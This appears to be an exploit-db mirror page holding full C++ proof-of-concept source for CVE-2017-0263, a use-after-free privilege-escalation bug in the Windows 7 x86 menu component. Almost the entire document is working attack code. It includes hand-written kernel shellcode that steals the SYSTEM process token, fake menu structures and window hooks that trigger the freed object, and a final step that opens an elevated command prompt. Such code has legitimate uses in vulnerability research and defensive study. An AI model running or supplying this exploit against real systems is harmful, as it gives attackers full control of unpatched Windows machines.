Microsoft Windows Manager (7 x86) – Menu Management Component UAF Privilege Elevation

  • 作者: xiaodaozhi
    日期: 2018-03-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44478/
  • #include <Windows.h>
    #include <wingdi.h>
    #include <iostream>
    #include <Psapi.h>
    #pragma comment(lib, "psapi.lib")
    
    #define POCDEBUG 0
    
    #if POCDEBUG == 1
    #define POCDEBUG_BREAK() getchar()
    #elif POCDEBUG == 2
    #define POCDEBUG_BREAK() DebugBreak()
    #else
    #define POCDEBUG_BREAK()
    #endif
    
    static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
    
    static constexpr UINT num_PopupMenuCount = 2;
    static constexpr UINT num_WndShadowCount = 3;
    static constexpr UINT num_NtUserMNDragLeave = 0x11EC;
    static constexpr UINT num_offset_WND_pcls = 0x64;
    
    static HMENU hpopupMenu[num_PopupMenuCount] = { 0 };
    static UINTiMenuCreated= 0;
    static BOOLbDoneExploit= FALSE;
    static DWORD popupMenuRoot = 0;
    static HWNDhWindowMain = NULL;
    static HWNDhWindowHunt = NULL;
    static HWNDhWindowList[0x100] = { 0 };
    static UINTiWindowCount= 0;
    static PVOID pvHeadFake = NULL;
    static PVOID pvAddrFlags = NULL;
    
    typedef struct _HEAD {
    HANDLEh;
    DWORD cLockObj;
    } HEAD, *PHEAD;
    
    typedef struct _THROBJHEAD {
    HEADhead;
    PVOID pti;
    } THROBJHEAD, *PTHROBJHEAD;
    
    typedef struct _DESKHEAD {
    PVOID rpdesk;
    PBYTE pSelf;
    } DESKHEAD, *PDESKHEAD;
    
    typedef struct _THRDESKHEAD {
    THROBJHEADthread;
    DESKHEADdeskhead;
    } THRDESKHEAD, *PTHRDESKHEAD;
    
    typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_CLS_lpszMenuName;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    PVOID tagCLS[0x100];
    BYTEpfnWindProc[];
    } SHELLCODE, *PSHELLCODE;
    
    static PSHELLCODE pvShellCode = NULL;
    
    // Arguments:
    // [ebp+08h]:pwnd = pwndWindowHunt;
    // [ebp+0Ch]:msg= 0x9F9F;
    // [ebp+10h]:wParam = popupMenuRoot;
    // [ebp+14h]:lParam = NULL;
    // In kernel-mode, the first argument is tagWND pwnd.
    static
    BYTE
    xxPayloadWindProc[] = {
    // Loader+0x108a:
    // Judge if the `msg` is 0x9f9f value.
    0x55, // pushebp
    0x8b, 0xec, // mov ebp,esp
    0x8b, 0x45, 0x0c, // mov eax,dword ptr [ebp+0Ch]
    0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh
    0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128
    // Loader+0x109b:
    // Judge if CS is 0x1b, which means in user-mode context.
    0x66, 0x8c, 0xc8, // mov ax,cs
    0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh
    0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // jeLoader+0x1128
    // Loader+0x10a8:
    // Get the address of pwndWindowHunt to ECX.
    // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
    // Get the address of pvShellCode to EDX by CALL-POP.
    // Get the address of pvShellCode->tagCLS[0x100] to ESI.
    // Get the address of popupMenuRoot to EDI.
    0xfc, // cld
    0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8]
    0xff, 0x41, 0x16, // inc dword ptr [ecx+16h]
    0x60, // pushad
    0xe8, 0x00, 0x00, 0x00, 0x00, // call$5
    0x5a, // pop edx
    0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub edx,443h
    0xbb, 0x00, 0x01, 0x00, 0x00, // mov ebx,100h
    0x8d, 0x72, 0x18, // lea esi,[edx+18h]
    0x8b, 0x7d, 0x10, // mov edi,dword ptr [ebp+10h]
    // Loader+0x10c7:
    0x85, 0xdb, // testebx,ebx
    0x74, 0x13, // jeLoader+0x10de
    // Loader+0x10cb:
    // Judge if pvShellCode->tagCLS[ebx] == NULL
    0xad, // lodsdword ptr [esi]
    0x4b, // dec ebx
    0x83, 0xf8, 0x00, // cmp eax,0
    0x74, 0xf5, // jeLoader+0x10c7
    // Loader+0x10d2:
    // Judge if tagCLS->lpszMenuName == popupMenuRoot
    0x03, 0x42, 0x08, // add eax,dword ptr [edx+8]
    0x39, 0x38, // cmp dword ptr [eax],edi
    0x75, 0xee, // jne Loader+0x10c7
    // Loader+0x10d9:
    // Zero tagCLS->lpszMenuName
    0x83, 0x20, 0x00, // and dword ptr [eax],0
    0xeb, 0xe9, // jmp Loader+0x10c7
    // Loader+0x10de:
    // Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
    // Get the value of pvShellCode->pid to EAX.
    0x8b, 0x49, 0x08, // mov ecx,dword ptr [ecx+8]
    0x8b, 0x5a, 0x0c, // mov ebx,dword ptr [edx+0Ch]
    0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
    0x8b, 0x09, // mov ecx,dword ptr [ecx]
    0x8b, 0x5a, 0x10, // mov ebx,dword ptr [edx+10h]
    0x8b, 0x42, 0x04, // mov eax,dword ptr [edx+4]
    0x51, // pushecx
    // Loader+0x10f0:
    // Judge if EPROCESS->UniqueId == pid.
    0x39, 0x44, 0x0b, 0xfc, // cmp dword ptr [ebx+ecx-4],eax
    0x74, 0x07, // jeLoader+0x10fd
    // Loader+0x10f6:
    // Get next EPROCESS to ECX by ActiveLink.
    0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
    0x2b, 0xcb, // sub ecx,ebx
    0xeb, 0xf3, // jmp Loader+0x10f0
    // Loader+0x10fd:
    // Get current EPROCESS to EDI.
    0x8b, 0xf9, // mov edi,ecx
    0x59, // pop ecx
    // Loader+0x1100:
    // Judge if EPROCESS->UniqueId == 4
    0x83, 0x7c, 0x0b, 0xfc, 0x04, // cmp dword ptr [ebx+ecx-4],4
    0x74, 0x07, // jeLoader+0x110e
    // Loader+0x1107:
    // Get next EPROCESS to ECX by ActiveLink.
    0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
    0x2b, 0xcb, // sub ecx,ebx
    0xeb, 0xf2, // jmp Loader+0x1100
    // Loader+0x110e:
    // Get system EPROCESS to ESI.
    // Get the value of system EPROCESS->Token to current EPROCESS->Token.
    // Add 2 to OBJECT_HEADER->PointerCount of system Token.
    // Return 0x9F9F to the caller.
    0x8b, 0xf1, // mov esi,ecx
    0x8b, 0x42, 0x14, // mov eax,dword ptr [edx+14h]
    0x03, 0xf0, // add esi,eax
    0x03, 0xf8, // add edi,eax
    0xad, // lodsdword ptr [esi]
    0xab, // stosdword ptr es:[edi]
    0x83, 0xe0, 0xf8, // and eax,0FFFFFFF8h
    0x83, 0x40, 0xe8, 0x02, // add dword ptr [eax-18h],2
    0x61, // popad
    0xb8, 0x9f, 0x9f, 0x00, 0x00, // mov eax,9F9Fh
    0xeb, 0x05, // jmp Loader+0x112d
    // Loader+0x1128:
    // Failed in processing.
    0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax,1
    // Loader+0x112d:
    0xc9, // leave
    0xc2, 0x10, 0x00, // ret 10h
    };
    
    static
    VOID
    xxGetHMValidateHandle(VOID)
    {
    HMODULE hModule = LoadLibraryA("USER32.DLL");
    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    PBYTE Address = NULL;
    for (INT i = 0; i < 0x30; i++)
    {
    if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
    {
    continue;
    }
    i += 2;
    if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
    {
    continue;
    }
    Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
    Address = Address + i + 5;
    pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
    break;
    }
    }
    
    #define TYPE_WINDOW 1
    
    static
    PVOID
    xxHMValidateHandleEx(HWND hwnd)
    {
    return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
    }
    
    static
    PVOID
    xxHMValidateHandle(HWND hwnd)
    {
    PVOID RetAddr = NULL;
    if (!pfnHMValidateHandle)
    {
    xxGetHMValidateHandle();
    }
    if (pfnHMValidateHandle)
    {
    RetAddr = xxHMValidateHandleEx(hwnd);
    }
    return RetAddr;
    }
    
    static
    ULONG_PTR
    xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
    {
    __asm { mov eax, num };
    __asm { int 2eh };
    }
    
    static
    LRESULT
    WINAPI
    xxShadowWindowProc(
    _In_ HWND hwnd,
    _In_ UINT msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
    )
    {
    if (msg != WM_NCDESTROY || bDoneExploit)
    {
    return DefWindowProcW(hwnd, msg, wParam, lParam);
    }
    std::cout << "::" << __FUNCTION__ << std::endl;
    POCDEBUG_BREAK();
    DWORD dwPopupFake[0xD] = { 0 };
    dwPopupFake[0x0] = (DWORD)0x00098208;//->flags
    dwPopupFake[0x1] = (DWORD)pvHeadFake;//->spwndNotify
    dwPopupFake[0x2] = (DWORD)pvHeadFake;//->spwndPopupMenu
    dwPopupFake[0x3] = (DWORD)pvHeadFake;//->spwndNextPopup
    dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
    dwPopupFake[0x5] = (DWORD)pvHeadFake;//->spmenu
    dwPopupFake[0x6] = (DWORD)pvHeadFake;//->spmenuAlternate
    dwPopupFake[0x7] = (DWORD)pvHeadFake;//->spwndActivePopup
    dwPopupFake[0x8] = (DWORD)0xFFFFFFFF;//->ppopupmenuRoot
    dwPopupFake[0x9] = (DWORD)pvHeadFake;//->ppmDelayedFree
    dwPopupFake[0xA] = (DWORD)0xFFFFFFFF;//->posSelectedItem
    dwPopupFake[0xB] = (DWORD)pvHeadFake;//->posDropped
    dwPopupFake[0xC] = (DWORD)0;
    for (UINT i = 0; i < iWindowCount; ++i)
    {
    SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
    }
    xxSyscall(num_NtUserMNDragLeave, 0, 0);
    LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
    bDoneExploit = Triggered == 0x9F9F;
    return DefWindowProcW(hwnd, msg, wParam, lParam);
    }
    
    #define MENUCLASS_NAME L"#32768"
    
    static
    LRESULT
    CALLBACK
    xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
    {
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    static HWND hwndMenuHit = 0;
    static UINT iShadowCount = 0;
    
    if (bDoneExploit || iMenuCreated != num_PopupMenuCount - 2 || cwp->message != WM_NCCREATE)
    {
    return CallNextHookEx(0, code, wParam, lParam);
    }
    std::cout << "::" << __FUNCTION__ << std::endl;
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);
    if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
    {
    std::cout << "::iShadowCount=" << iShadowCount << std::endl;
    POCDEBUG_BREAK();
    if (++iShadowCount == num_WndShadowCount)
    {
    SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
    }
    else
    {
    SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
    SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
    }
    }
    else if (!wcscmp(szTemp, MENUCLASS_NAME))
    {
    hwndMenuHit = cwp->hwnd;
    std::cout << "::hwndMenuHit=" << hwndMenuHit << std::endl;
    }
    return CallNextHookEx(0, code, wParam, lParam);
    }
    
    #define MN_ENDMENU 0x1F3
    
    static
    VOID
    CALLBACK
    xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD event,
    HWNDhwnd,
    LONGidObject,
    LONGidChild,
    DWORD idEventThread,
    DWORD dwmsEventTime
    )
    {
    UNREFERENCED_PARAMETER(hWinEventHook);
    UNREFERENCED_PARAMETER(event);
    UNREFERENCED_PARAMETER(idObject);
    UNREFERENCED_PARAMETER(idChild);
    UNREFERENCED_PARAMETER(idEventThread);
    UNREFERENCED_PARAMETER(dwmsEventTime);
    std::cout << "::" << __FUNCTION__ << std::endl;
    if (iMenuCreated == 0)
    {
    popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
    }
    if (++iMenuCreated >= num_PopupMenuCount)
    {
    std::cout << ">>SendMessage(MN_ENDMENU)" << std::endl;
    POCDEBUG_BREAK();
    SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
    std::cout << ">>SendMessage(WM_LBUTTONDOWN)" << std::endl;
    POCDEBUG_BREAK();
    SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
    }
    }
    
    static
    BOOL
    xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra)
    {
    WNDCLASSEXW wndClass = { 0 };
    wndClass = { 0 };
    wndClass.cbSize = sizeof(WNDCLASSEXW);
    wndClass.lpfnWndProc= DefWindowProcW;
    wndClass.cbWndExtra = cbWndExtra;
    wndClass.hInstance= GetModuleHandleA(NULL);
    wndClass.lpszMenuName = NULL;
    wndClass.lpszClassName= lpszClassName;
    return RegisterClassExW(&wndClass);
    }
    
    static
    HWND
    xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle)
    {
    return CreateWindowExW(dwExStyle,
    lpszClassName,
    NULL,
    dwStyle,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);
    }
    
    static
    VOID xxCreateCmdLineProcess(VOID)
    {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
    }
    
    static
    DWORD
    WINAPI
    xxTrackExploitEx(LPVOID lpThreadParameter)
    {
    UNREFERENCED_PARAMETER(lpThreadParameter);
    std::cout << "::" << __FUNCTION__ << std::endl;
    POCDEBUG_BREAK();
    
    for (INT i = 0; i < num_PopupMenuCount; i++)
    {
    MENUINFO mi = { 0 };
    hpopupMenu[i]= CreatePopupMenu();
    mi.cbSize= sizeof(mi);
    mi.fMask = MIM_STYLE;
    mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
    SetMenuInfo(hpopupMenu[i], &mi);
    }
    for (INT i = 0; i < num_PopupMenuCount; i++)
    {
    LPCSTR szMenuItem = "item";
    AppendMenuA(hpopupMenu[i],
    MF_BYPOSITION | MF_POPUP,
    (i >= num_PopupMenuCount - 1) ? 0 : (UINT_PTR)hpopupMenu[i + 1],
    szMenuItem);
    }
    
    for (INT i = 0; i < 0x100; i++)
    {
    WNDCLASSEXW Class = { 0 };
    WCHAR szTemp[20] = { 0 };
    HWND hwnd = NULL;
    wsprintfW(szTemp, L"%x-%d", rand(), i);
    Class.cbSize= sizeof(WNDCLASSEXA);
    Class.lpfnWndProc = DefWindowProcW;
    Class.cbWndExtra= 0;
    Class.hInstance = GetModuleHandleA(NULL);
    Class.lpszMenuName= NULL;
    Class.lpszClassName = szTemp;
    if (!RegisterClassExW(&Class))
    {
    continue;
    }
    hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
    0,
    0,
    0,
    0,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);
    if (hwnd == NULL)
    {
    continue;
    }
    hWindowList[iWindowCount++] = hwnd;
    }
    for (INT i = 0; i < iWindowCount; i++)
    {
    pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
    }
    
    DWORD fOldProtect = 0;
    VirtualProtect(pvShellCode, 0x1000, PAGE_EXECUTE_READ, &fOldProtect);
    
    xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000);
    hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
    WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
    WS_VISIBLE);
    xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);
    hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
    WS_EX_LEFT,
    WS_OVERLAPPED);
    PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
    PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
    pvHeadFake = pbExtra + 0x44;
    for (UINT x = 0; x < 0x7F; x++)
    {
    SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
    }
    PVOID pti = head->thread.pti;
    SetWindowLongW(hWindowHunt, 0x28, 0);
    SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
    SetWindowLongW(hWindowHunt, 0x6C, 0);
    SetWindowLongW(hWindowHunt, 0x1F8, 0xC033C033);
    SetWindowLongW(hWindowHunt, 0x1FC, 0xFFFFFFFF);
    
    pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
    
    SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
    
    SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
    GetModuleHandleA(NULL),
    GetCurrentThreadId());
    
    SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
    GetModuleHandleA(NULL),
    xxWindowEventProc,
    GetCurrentProcessId(),
    GetCurrentThreadId(),
    0);
    
    TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
    
    MSG msg = { 0 };
    while (GetMessageW(&msg, NULL, 0, 0))
    {
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
    }
    return 0;
    }
    
    INT POC_CVE20170263(VOID)
    {
    std::cout << "-------------------" << std::endl;
    std::cout << "POC - CVE-2017-0263" << std::endl;
    std::cout << "-------------------" << std::endl;
    
    pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pvShellCode == NULL)
    {
    return 0;
    }
    ZeroMemory(pvShellCode, 0x1000);
    pvShellCode->pid = GetCurrentProcessId();
    pvShellCode->off_CLS_lpszMenuName= 0x050;
    pvShellCode->off_THREADINFO_ppi= 0x0b8;
    pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
    pvShellCode->off_EPROCESS_Token= 0x0f8;
    CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
    
    std::cout << "CREATE WORKER THREAD..." << std::endl;
    POCDEBUG_BREAK();
    HANDLE hThread = CreateThread(NULL, 0, xxTrackExploitEx, NULL, 0, NULL);
    if (hThread == NULL)
    {
    return FALSE;
    }
    while (!bDoneExploit)
    {
    Sleep(500);
    }
    xxCreateCmdLineProcess();
    DestroyWindow(hWindowMain);
    TerminateThread(hThread, 0);
    std::cout << "-------------------" << std::endl;
    getchar();
    return bDoneExploit;
    }
    
    INT main(INT argc, CHAR *argv[])
    {
    POC_CVE20170263();
    return 0;
    }